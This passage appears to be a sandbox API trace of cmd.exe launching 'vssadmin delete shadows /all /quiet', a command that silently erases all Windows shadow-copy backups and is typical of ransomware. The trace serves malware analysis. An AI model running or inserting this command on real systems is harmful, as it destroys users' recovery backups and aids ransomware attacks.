(_String1="vssadmin", _String2="RD") returned 4 [0250.221] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0250.221] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0250.221] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0250.221] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0250.221] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0250.221] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0250.221] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0250.221] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0250.221] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0250.221] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0250.221] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0250.221] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0250.221] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0250.221] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0250.221] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0250.221] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0250.221] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0250.221] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0250.221] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0250.221] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0250.221] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0250.221] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0250.221] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0250.221] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0250.221] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0250.221] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0250.221] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0250.222] ??_V@YAXPEAX@Z () returned 0x1 [0250.222] GetProcessHeap () returned 0x24a1a690000 [0250.222] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0xffde) returned 0x24a1a698e90 [0250.223] GetProcessHeap () returned 0x24a1a690000 [0250.223] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0x5a) returned 0x24a1a6a92b0 [0250.223] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0250.223] malloc (_Size=0xffce) returned 0x24a1a950820 [0250.223] ??_V@YAXPEAX@Z () returned 0x24a1a950820 [0250.223] GetProcessHeap () returned 0x24a1a690000 [0250.223] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0x1ffac) returned 0x24a1a6ac1e0 [0250.224] SetErrorMode (uMode=0x0) returned 0x0 [0250.225] SetErrorMode (uMode=0x1) returned 0x0 [0250.225] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x24a1a6ac1f0, lpFilePart=0x7d41d0f020 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x7d41d0f020*="system32") returned 0x13 [0250.225] SetErrorMode (uMode=0x0) returned 0x1 [0250.225] GetProcessHeap () returned 0x24a1a690000 [0250.225] RtlReAllocateHeap (Heap=0x24a1a690000, Flags=0x0, Ptr=0x24a1a6ac1e0, Size=0x4a) returned 0x24a1a6ac1e0 [0250.225] GetProcessHeap () returned 0x24a1a690000 [0250.225] RtlSizeHeap (HeapHandle=0x24a1a690000, Flags=0x0, MemoryPointer=0x24a1a6ac1e0) returned 0x4a [0250.225] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0250.225] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0250.225] GetProcessHeap () returned 0x24a1a690000 [0250.225] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0x1b6) returned 0x24a1a6a8e80 [0250.225] GetProcessHeap () returned 0x24a1a690000 [0250.225] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0x35c) returned 0x24a1a6a9b70 [0250.225] GetProcessHeap () returned 0x24a1a690000 [0250.225] RtlReAllocateHeap (Heap=0x24a1a690000, Flags=0x0, Ptr=0x24a1a6a9b70, Size=0x1b8) returned 0x24a1a6a9b70 [0250.225] GetProcessHeap () returned 0x24a1a690000 [0250.225] RtlSizeHeap (HeapHandle=0x24a1a690000, Flags=0x0, MemoryPointer=0x24a1a6a9b70) returned 0x1b8 [0250.225] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0250.225] GetProcessHeap () returned 0x24a1a690000 [0250.225] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0xe8) returned 0x24a1a6a9040 [0250.225] GetProcessHeap () returned 0x24a1a690000 [0250.225] RtlReAllocateHeap (Heap=0x24a1a690000, Flags=0x0, Ptr=0x24a1a6a9040, Size=0x7e) returned 0x24a1a6a9040 [0250.225] GetProcessHeap () returned 0x24a1a690000 [0250.225] RtlSizeHeap (HeapHandle=0x24a1a690000, Flags=0x0, MemoryPointer=0x24a1a6a9040) returned 0x7e [0250.225] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0250.225] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x7d41d0ed90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x7d41d0ed90) returned 0x24a1a6a90d0 [0250.226] FindClose (in: hFindFile=0x24a1a6a90d0 | out: hFindFile=0x24a1a6a90d0) returned 1 [0250.226] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x7d41d0ed90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x7d41d0ed90) returned 0xffffffffffffffff [0250.226] GetLastError () returned 0x2 [0250.226] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x7d41d0ed90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x7d41d0ed90) returned 0x24a1a6a90d0 [0250.226] FindClose (in: hFindFile=0x24a1a6a90d0 | out: hFindFile=0x24a1a6a90d0) returned 1 [0250.226] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0250.226] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0250.226] ??_V@YAXPEAX@Z () returned 0x1 [0250.226] GetConsoleTitleW (in: lpConsoleTitle=0x7d41d0f310, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0250.227] GetProcessHeap () returned 0x24a1a690000 [0250.227] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0x21c) returned 0x24a1a6977c0 [0250.227] GetConsoleTitleW (in: lpConsoleTitle=0x24a1a6977d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0250.228] GetProcessHeap () returned 0x24a1a690000 [0250.228] RtlReAllocateHeap (Heap=0x24a1a690000, Flags=0x0, Ptr=0x24a1a6977c0, Size=0xa4) returned 0x24a1a6977c0 [0250.228] GetProcessHeap () returned 0x24a1a690000 [0250.228] RtlSizeHeap (HeapHandle=0x24a1a690000, Flags=0x0, MemoryPointer=0x24a1a6977c0) returned 0xa4 [0250.228] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0250.230] GetProcessHeap () returned 0x24a1a690000 [0250.230] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a6977c0) returned 1 [0250.230] InitializeProcThreadAttributeList (in: lpAttributeList=0x7d41d0f230, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x7d41d0f120 | out: lpAttributeList=0x7d41d0f230, lpSize=0x7d41d0f120) returned 1 [0250.230] UpdateProcThreadAttribute (in: lpAttributeList=0x7d41d0f230, dwFlags=0x0, Attribute=0x60001, lpValue=0x7d41d0f10c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x7d41d0f230, lpPreviousValue=0x0) returned 1 [0250.230] GetStartupInfoW (in: lpStartupInfo=0x7d41d0f1c0 | out: lpStartupInfo=0x7d41d0f1c0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xf94, hStdOutput=0xfa0, hStdError=0xfa0)) [0250.230] GetProcessHeap () returned 0x24a1a690000 [0250.230] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0x20) returned 0x24a1a697610 [0250.230] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0250.230] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0250.231] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0250.231] GetProcessHeap () returned 0x24a1a690000 [0250.231] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a697610) returned 1 [0250.231] GetProcessHeap () returned 0x24a1a690000 [0250.231] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0x12) returned 0x24a1a697610 [0250.231] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0250.231] SetConsoleMode (hConsoleHandle=0xfa0, dwMode=0x0) returned 0 [0250.231] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.231] SetConsoleMode (hConsoleHandle=0xf94, dwMode=0x0) returned 0 [0250.232] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0x7d41d0f150*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x7d41d0f128 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x7d41d0f128*(hProcess=0x94, hThread=0x98, dwProcessId=0x2738, dwThreadId=0x273c)) returned 1 [0250.243] CloseHandle (hObject=0x98) returned 1 [0250.244] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0250.244] GetProcessHeap () returned 0x24a1a690000 [0250.244] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a6ab6b0) returned 1 [0250.244] GetEnvironmentStringsW () returned 0x24a1a6aab80* [0250.244] GetProcessHeap () returned 0x24a1a690000 [0250.244] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0xb24) returned 0x24a1a6ab6b0 [0250.244] FreeEnvironmentStringsA (penv="=") returned 1 [0250.244] NtQueryInformationProcess (in: ProcessHandle=0x94, ProcessInformationClass=0x0, ProcessInformation=0x7d41d0e628, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x7d41d0e628, ReturnLength=0x0) returned 0x0 [0250.244] ReadProcessMemory (in: hProcess=0x94, lpBaseAddress=0xc92419000, lpBuffer=0x7d41d0e660, nSize=0x7a0, lpNumberOfBytesRead=0x7d41d0e620 | out: lpBuffer=0x7d41d0e660*, lpNumberOfBytesRead=0x7d41d0e620*=0x7a0) returned 1 [0250.244] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0 [0259.138] GetExitCodeProcess (in: hProcess=0x94, lpExitCode=0x7d41d0f0a8 | out: lpExitCode=0x7d41d0f0a8*=0x2) returned 1 [0259.138] CloseHandle (hObject=0x94) returned 1 [0259.138] _vsnwprintf (in: _Buffer=0x7d41d0f278, _BufferCount=0x13, _Format="%08X", _ArgList=0x7d41d0f0b8 | out: _Buffer="00000002") returned 8 [0259.138] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0259.138] GetProcessHeap () returned 0x24a1a690000 [0259.138] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a6ab6b0) returned 1 [0259.138] GetEnvironmentStringsW () returned 0x24a1a6aab80* [0259.138] GetProcessHeap () returned 0x24a1a690000 [0259.138] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0xb24) returned 0x24a1a6ab6b0 [0259.138] FreeEnvironmentStringsA (penv="=") returned 1 [0259.138] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0259.138] GetProcessHeap () returned 0x24a1a690000 [0259.138] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a6ab6b0) returned 1 [0259.138] GetEnvironmentStringsW () returned 0x24a1a6aab80* [0259.138] GetProcessHeap () returned 0x24a1a690000 [0259.139] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0xb24) returned 0x24a1a6ab6b0 [0259.139] FreeEnvironmentStringsA (penv="=") returned 1 [0259.139] GetProcessHeap () returned 0x24a1a690000 [0259.139] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a697610) returned 1 [0259.139] DeleteProcThreadAttributeList (in: lpAttributeList=0x7d41d0f230 | out: lpAttributeList=0x7d41d0f230) [0259.139] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0259.152] ??_V@YAXPEAX@Z () returned 0x1 [0259.152] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0259.152] SetConsoleMode (hConsoleHandle=0xfa0, dwMode=0x0) returned 0 [0259.152] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0259.152] GetConsoleMode (in: hConsoleHandle=0xfa0, lpMode=0x7ff78402fc08 | out: lpMode=0x7ff78402fc08) returned 0 [0259.152] _get_osfhandle (_FileHandle=0) returned 0xf94 [0259.152] GetConsoleMode (in: hConsoleHandle=0xf94, lpMode=0x7ff78402fc0c | out: lpMode=0x7ff78402fc0c) returned 0 [0259.152] GetConsoleOutputCP () returned 0x4e3 [0259.249] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff78402fbb0 | out: lpCPInfo=0x7ff78402fbb0) returned 1 [0259.249] SetThreadUILanguage (LangId=0x0) returned 0x409 [0259.280] GetProcessHeap () returned 0x24a1a690000 [0259.280] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a6a9040) returned 1 [0259.280] GetProcessHeap () returned 0x24a1a690000 [0259.280] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a6a9b70) returned 1 [0259.280] GetProcessHeap () returned 0x24a1a690000 [0259.280] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a6a8e80) returned 1 [0259.281] GetProcessHeap () returned 0x24a1a690000 [0259.281] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a6ac1e0) returned 1 [0259.281] GetProcessHeap () returned 0x24a1a690000 [0259.281] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a6a92b0) returned 1 [0259.281] GetProcessHeap () returned 0x24a1a690000 [0259.281] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a698e90) returned 1 [0259.281] GetProcessHeap () returned 0x24a1a690000 [0259.281] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a6a9260) returned 1 [0259.281] GetProcessHeap () returned 0x24a1a690000 [0259.281] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a696330) returned 1 [0259.281] GetProcessHeap () returned 0x24a1a690000 [0259.281] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a6a91a0) returned 1 [0259.281] _vsnwprintf (in: _Buffer=0x7ff784037f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x7d41d0f658 | out: _Buffer="\r\n") returned 2 [0259.281] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0259.281] GetFileType (hFile=0xfa0) returned 0x3 [0259.281] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0259.281] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0259.281] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff784029970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x7d41d0f628, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesWritten=0x7d41d0f628*=0x2, lpOverlapped=0x0) returned 1 [0259.281] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0259.281] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x24a1a920080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0259.282] _vsnwprintf (in: _Buffer=0x24a1a930060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x7d41d0f668 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0259.282] _vsnwprintf (in: _Buffer=0x24a1a930086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x7d41d0f668 | out: _Buffer=">") returned 1 [0259.282] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0259.282] GetFileType (hFile=0xfa0) returned 0x3 [0259.282] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0259.282] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0259.282] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff784029970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x7d41d0f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesWritten=0x7d41d0f658*=0x14, lpOverlapped=0x0) returned 1 [0259.282] _get_osfhandle (_FileHandle=0) returned 0xf94 [0259.282] GetFileType (hFile=0xf94) returned 0x3 [0259.282] _get_osfhandle (_FileHandle=0) returned 0xf94 [0259.282] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0259.282] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0259.282] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c30, cchWideChar=1 | out: lpWideCharStr="Essadmin delete shadows /all /quiet\n") returned 1 [0259.282] _get_osfhandle (_FileHandle=0) returned 0xf94 [0259.282] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0259.282] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0259.283] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c32, cchWideChar=1 | out: lpWideCharStr="xsadmin delete shadows /all /quiet\n") returned 1 [0259.283] _get_osfhandle (_FileHandle=0) returned 0xf94 [0259.283] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0259.283] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0259.283] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c34, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1 [0259.283] _get_osfhandle (_FileHandle=0) returned 0xf94 [0259.283] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0259.283] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0259.283] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c36, cchWideChar=1 | out: lpWideCharStr="tdmin delete shadows /all /quiet\n") returned 1 [0259.283] _get_osfhandle (_FileHandle=0) returned 0xf94 [0259.283] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0259.283] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0259.283] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c38, cchWideChar=1 | out: lpWideCharStr="\nmin delete shadows /all /quiet\n") returned 1 [0259.283] _get_osfhandle (_FileHandle=0) returned 0xf94 [0259.283] GetFileType (hFile=0xf94) returned 0x3 [0259.283] _get_osfhandle (_FileHandle=0) returned 0xf94 [0259.283] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0259.283] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0259.283] GetFileType (hFile=0xfa0) returned 0x3 [0259.284] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0259.284] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="Exit\n", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Exit\n", lpUsedDefaultChar=0x0) returned 6 [0259.284] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff784029970*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x7d41d0f958, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesWritten=0x7d41d0f958*=0x5, lpOverlapped=0x0) returned 1 [0259.284] GetProcessHeap () returned 0x24a1a690000 [0259.284] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0x4012) returned 0x24a1a698e90 [0259.284] GetProcessHeap () returned 0x24a1a690000 [0259.284] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a698e90) returned 1 [0259.285] _wcsicmp (_String1="Exit", 